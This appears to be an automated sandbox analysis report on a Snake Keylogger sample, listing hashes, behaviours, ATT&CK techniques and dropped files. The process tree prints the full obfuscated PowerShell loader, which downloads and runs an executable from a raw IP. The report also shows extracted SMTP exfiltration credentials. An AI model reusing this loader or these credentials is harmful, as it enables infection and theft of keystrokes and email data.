snakekeylogger | f3761ed191aeddf0e23bba17e361229d81547309dac3b451202df849083b7916

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
06-10-2024 18:45

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General

Target

na.hta
Size

116KB
MD5

bac652fa9a932e3f71411fb993010377
SHA1

0dbe1f2b08510b57f0e00189d2355f57e300c47f
SHA256

f3761ed191aeddf0e23bba17e361229d81547309dac3b451202df849083b7916
SHA512

0ab2913b55e1f60cdb26f003d2c17b492385a43bca2d2c5acb1a659c9a5ed3d232eeceb8b0d4b68ffad11599dab9c27d16d1c990f23e54ea3a8ccd73a4de536f
SSDEEP

96:Ea+M73mAWZeuhtAWZDuhogROBHRj/oyYJQAWZSAWZXuhdAWZkAT:Ea+Q3mVkuhtVVuhhRwHxY+VgVFuhdVZT

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.teilecar.com
Port:
587
Username:
[email protected]
Password:
Manta924porsche=911
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 3 IoCs

resource	yara_rule
behavioral1/memory/1920-39-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1920-38-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1920-40-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2312	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
2312	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2692	taskhostw.exe

Loads dropped DLL 1 IoCs

pid	Process
2312	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0009000000016fb3-30.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2692 set thread context of 1920	2692	taskhostw.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhostw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
1920	RegSvcs.exe
1920	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2692	taskhostw.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	1920	RegSvcs.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 1960	1648	mshta.exe	31
PID 1648 wrote to memory of 1960	1648	mshta.exe	31
PID 1648 wrote to memory of 1960	1648	mshta.exe	31
PID 1648 wrote to memory of 1960	1648	mshta.exe	31
PID 1960 wrote to memory of 2312	1960	cmd.exe	33
PID 1960 wrote to memory of 2312	1960	cmd.exe	33
PID 1960 wrote to memory of 2312	1960	cmd.exe	33
PID 1960 wrote to memory of 2312	1960	cmd.exe	33
PID 2312 wrote to memory of 2812	2312	powershell.exe	34
PID 2312 wrote to memory of 2812	2312	powershell.exe	34
PID 2312 wrote to memory of 2812	2312	powershell.exe	34
PID 2312 wrote to memory of 2812	2312	powershell.exe	34
PID 2812 wrote to memory of 2172	2812	csc.exe	35
PID 2812 wrote to memory of 2172	2812	csc.exe	35
PID 2812 wrote to memory of 2172	2812	csc.exe	35
PID 2812 wrote to memory of 2172	2812	csc.exe	35
PID 2312 wrote to memory of 2692	2312	powershell.exe	37
PID 2312 wrote to memory of 2692	2312	powershell.exe	37
PID 2312 wrote to memory of 2692	2312	powershell.exe	37
PID 2312 wrote to memory of 2692	2312	powershell.exe	37
PID 2692 wrote to memory of 1920	2692	taskhostw.exe	38
PID 2692 wrote to memory of 1920	2692	taskhostw.exe	38
PID 2692 wrote to memory of 1920	2692	taskhostw.exe	38
PID 2692 wrote to memory of 1920	2692	taskhostw.exe	38
PID 2692 wrote to memory of 1920	2692	taskhostw.exe	38
PID 2692 wrote to memory of 1920	2692	taskhostw.exe	38
PID 2692 wrote to memory of 1920	2692	taskhostw.exe	38
PID 2692 wrote to memory of 1920	2692	taskhostw.exe	38

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\na.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c PoweRsHElL -EX bYpASs -nOp -W 1 -C DEvICECReDENTiaLDEPlOyMENt.eXE ; IEX($(IEx('[sySTEM.TEXt.enCoding]'+[cHaR]0X3a+[cHAR]58+'UTF8.GetsTRiNG([SyStem.ConVERt]'+[CHaR]58+[cHaR]0x3A+'FrOMBaSE64STriNG('+[cHAr]34+'JGo0Wk9GICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJFckRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdsdm1vRndaWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqc2tJd2FtLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNoYmNnUUd5c1gsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxYVSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHYWp0R0RieE5qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiblhjTm5QandrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFa21xICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqNFpPRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvMjMwL3Rhc2tob3N0dy5leGUiLCIkZU5WOkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSVC1TTEVlUCgzKTtzdGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSI='+[CHAr]0X22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoweRsHElL -EX bYpASs -nOp -W 1 -C DEvICECReDENTiaLDEPlOyMENt.eXE ; IEX($(IEx('[sySTEM.TEXt.enCoding]'+[cHaR]0X3a+[cHAR]58+'UTF8.GetsTRiNG([SyStem.ConVERt]'+[CHaR]58+[cHaR]0x3A+'FrOMBaSE64STriNG('+[cHAr]34+'JGo0Wk9GICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJFckRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdsdm1vRndaWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqc2tJd2FtLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNoYmNnUUd5c1gsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxYVSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHYWp0R0RieE5qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiblhjTm5QandrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFa21xICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqNFpPRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvMjMwL3Rhc2tob3N0dy5leGUiLCIkZU5WOkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSVC1TTEVlUCgzKTtzdGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSI='+[CHAr]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2312
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mi7ij4ls.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2812
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD441.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD440.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2172
  - - C:\Users\Admin\AppData\Roaming\taskhostw.exe
      "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2692
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:1920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESD441.tmp

Filesize
1KB

MD5
eb8a52e350113e2d8804228045b7c678

SHA1
1e68956ba42f83e775045679f41de8f0f95895f5

SHA256
8696ed082bdd58e29899d8830cc7f715c08d6bfd4f4152da1c0791961684c219

SHA512
eb7bd22d24dded4a638a8e7a67f129cf81db173e18c5a39c086c15adee88bb0f93828d027c997d6e670917ab6e68ae002fe67e5aacb4fe1313804366a7b02660

Download Submit
C:\Users\Admin\AppData\Local\Temp\mi7ij4ls.dll

Filesize
3KB

MD5
2d62237ab7f16e7a4abc0dfc0cf46ed0

SHA1
d08c3415f5844cf1b6561a4f3751d84b1748c225

SHA256
e72d27c9e5b64a466b0c7d77021e8cc8dea6e0283e769ffd46ec102999594a9f

SHA512
2ce2c1f5cca58af29792de506a6d2a4cbe9d7d5a8d257cc699ddeb762e2c3aac68dbd410c5c8b239ace61ac8c0bdfec10f4cf20ab4cfe759d44b70b2a1daaceb

Download Submit
C:\Users\Admin\AppData\Local\Temp\mi7ij4ls.pdb

Filesize
7KB

MD5
0d6ea39bdd60803cde10e97b71042544

SHA1
ee5eb858657f8f1d321cb2c8ee9643cd975ebcd9

SHA256
51308989d470b84f8fe5eeefce76022679d6aefdd7b41c383af9ba83a0e95660

SHA512
99cb387c20887d3fdcc9a5baf13b954e843b84bbd2174db503aa29ea961b76ce2f4aee96cca912cf52caefba26ebf5e85a36f4dd041f93ecf617f53e74701d28

Download Submit
C:\Users\Admin\AppData\Roaming\taskhostw.exe

Filesize
934KB

MD5
d515411b9a3c0d9fb13b9c6a928a7fd0

SHA1
f940a7302ac76567c15efb1a15d789b42224aac3

SHA256
7b2fcffe77e320517c511f5a3700d8545712475aeb4dc04088537fa8456fec77

SHA512
447a5ab235672a2d067e5792260aa5b978720f8d67ac80bd875e74d7032cb496e3b0463f3c3870bd87d975cddf7f750df35a9ea7aa8aa65f1bd1590d3305c9d6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCD440.tmp

Filesize
652B

MD5
3a253530799b94dfd6acc923899c34cf

SHA1
5541612e863ac5c6ac157af762b390eac918434c

SHA256
89b9440c23b9cbedf9b7b9f0e11dba56f8bc9fa9351d0c38f8be8b548f31a965

SHA512
a50cb6e26951800622f42438706dc6acb97fa741bfd8776487fa2888508155e44b8efbcec55e4ad74f09c72014446fc86f7380e31ede4ec8613c897316dbb4aa

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mi7ij4ls.0.cs

Filesize
489B

MD5
66cd8bc31e61e003cddb2ea81c47016a

SHA1
b9172635caecd693d1476d08c9cecb5777ea49bb

SHA256
0ce2cb15b914d1becfba7f1eed7a96e44610e5b70a8d4a9568ed117d6c3a73dd

SHA512
6dd379fff538ecec3814b2bf5ffb2d3e8d1f5e8da9f79b416cd2ac81b916633122565cb9ce89f3bcbb1acb1da0269ae2977fdd515f74f9ffc8dbcae15a0a15e4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mi7ij4ls.cmdline

Filesize
309B

MD5
20edda0746b621fae093035ca0fa440b

SHA1
ee05c2058df62712686df68d254a95de35495451

SHA256
83d22f261014e94704bb5ed9be95915209aff3df38861a536602b923de7eb9b3

SHA512
60f4f08828e9017b4143a490ac1b8e065503ca8fa4a5fc3910016a93a756e9be7dcfbd344c5e7f59ff296b169b19855e1a7ae72d69a2e3a35ef38fe28bf05be0

Download Submit
memory/1920-39-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1920-38-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1920-40-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download